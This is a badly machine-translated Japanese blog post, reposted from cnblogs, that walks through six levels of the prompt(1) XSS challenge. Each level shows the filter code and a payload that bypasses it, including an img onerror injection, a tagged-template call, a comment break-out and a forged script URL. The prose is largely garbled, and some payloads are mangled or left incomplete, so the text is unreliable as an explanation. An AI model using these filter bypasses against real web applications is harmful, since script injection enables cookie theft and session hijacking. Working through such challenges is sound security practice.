XSS_クロスサイトスクリプティング攻撃

参照するには、インターネット前にいくつかの時間のウェブサイトを覗き込む好奇心の下に、。勝利条件は、あなたが呼び出すことが許可された文字列を、入力することですprompt(1)予期しないものがたくさんあることを発見し、私は最終的にXSSについての話にここに来るために敷設されています。

XSSの原則

悪意のある攻撃者は、悪意のあるユーザーの目的を達成するように、ウェブスクリプトコード内に埋め込まページを閲覧したユーザが、実行された場合、スクリプトコードを使用して、悪質なWebページを挿入します。

XSS一般的なシナリオ

いくつかのプライベートブログは、攻撃者は悪質なコメントは、ポップアップalert、これが最高の状態で冗談です。それがされている場合でも、クッキーを盗んで異常が要求提出するより不快です、。

prompt(1)

Chromeバージョン62.0.3202.75(正式版)(64)

function escape(input) {
   // warm up
   // script should be executed without user interaction
   return '<input type="text" value="' + input + '">';
} 

まず
、それは前菜だった、これは現在、非常に低い無防備、任意のチェックをしませんでした。彼は、形成するために、戦いの文字列に直接値DOMを 入力ラベル我々は右を閉じ限り呼び出すことができるよう、そのラベルを。
"><script>prompt(1)</script>、文字列のスペルアウト<input type="text" value=""><script>prompt(1)</script>">私たちのコードを挿入すると等価です。

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');
    return '<article>' + input + '</article>'; 
}


この難易度のが上昇し、されている/<\/?[^>]+>/gi試合<>标签な入力などのすべて、<script>prompt(1)</script>変換が発生した後prompt(1)、ラベル内の内容が置き換えられます。だから我々は、ブラウザ自身がフォールトトレランスするので、このラベルは閉じられていない試してみました。
<img src onerror="prompt(1);" よる方法imgロードがsrc呼び出しの失敗したonerrorアイデアを。

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');
    // ok seriously, disallows equal signs and open parenthesis
    return input;
}    

第三
は少しこのピットの/[=(]/gように=数及び(番号は、我々はあなたがこれらのものを使用することができないとき呼び出そうので、置き換えられます。が使用する方法ES6が備わっています。<スクリプト> prompt`1` </スクリプト>我々がそれを書く表示されますが、私たちは適応しなければならないので、なぜそれが、文字列が渡されるので、それはによって判断されていない、次のチャートを見ることができますか?有効になりません。<スクリプト> prompt.call </ SCRIPT> あなたが検証を介して実行できること。(値下げの言葉に`` ``内部を作成する方法)模板字符串标签模板${1}
clipboard.png

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');
    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}    

第四は、
これを使用すると、HTMLのコメント文の内側に配置し、とされている書き込み内容のように見える/->/g1の交換。私は、プログラムに条件付きコメントを思うが、IEの条件付きコメントは、これは我々が前にテストしていないものです。
--!><img src onerror="prompt(1);" これはオフにすることができます使用

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i
            .test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}  

第五
このURLを鍛造により、我々が使用しているされ、ユーザー名でアクセスしたURL、パスワードで保護された鍛造にします。
http://prompt.ml%2f@urlURLは(1)、コンテンツプロンプトネットワークアドレスJSによって参照されます。もともと試してみたかったdata:text/html,<html><script>prompt(1)</script></html>が、その後、成功しなかったjavascript:;about:blank非常に失われ、合格しませんでした。
clipboard.png

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');
    return '<input value="' + input + '" type="text">';
}   

第六は
/>|on.+?=|focus/gi交換し>onxxxx=そしてfocus特殊なタイプの入力タイプを通じ。
` "Image型のSRC = ONERROR
`(1)="プロンプト

ここで最初の仕上がりで。そして、私たちは何かを見て、その後、修復する時間を持っています。

おすすめ

転載: www.cnblogs.com/baimeishaoxia/p/12132169.html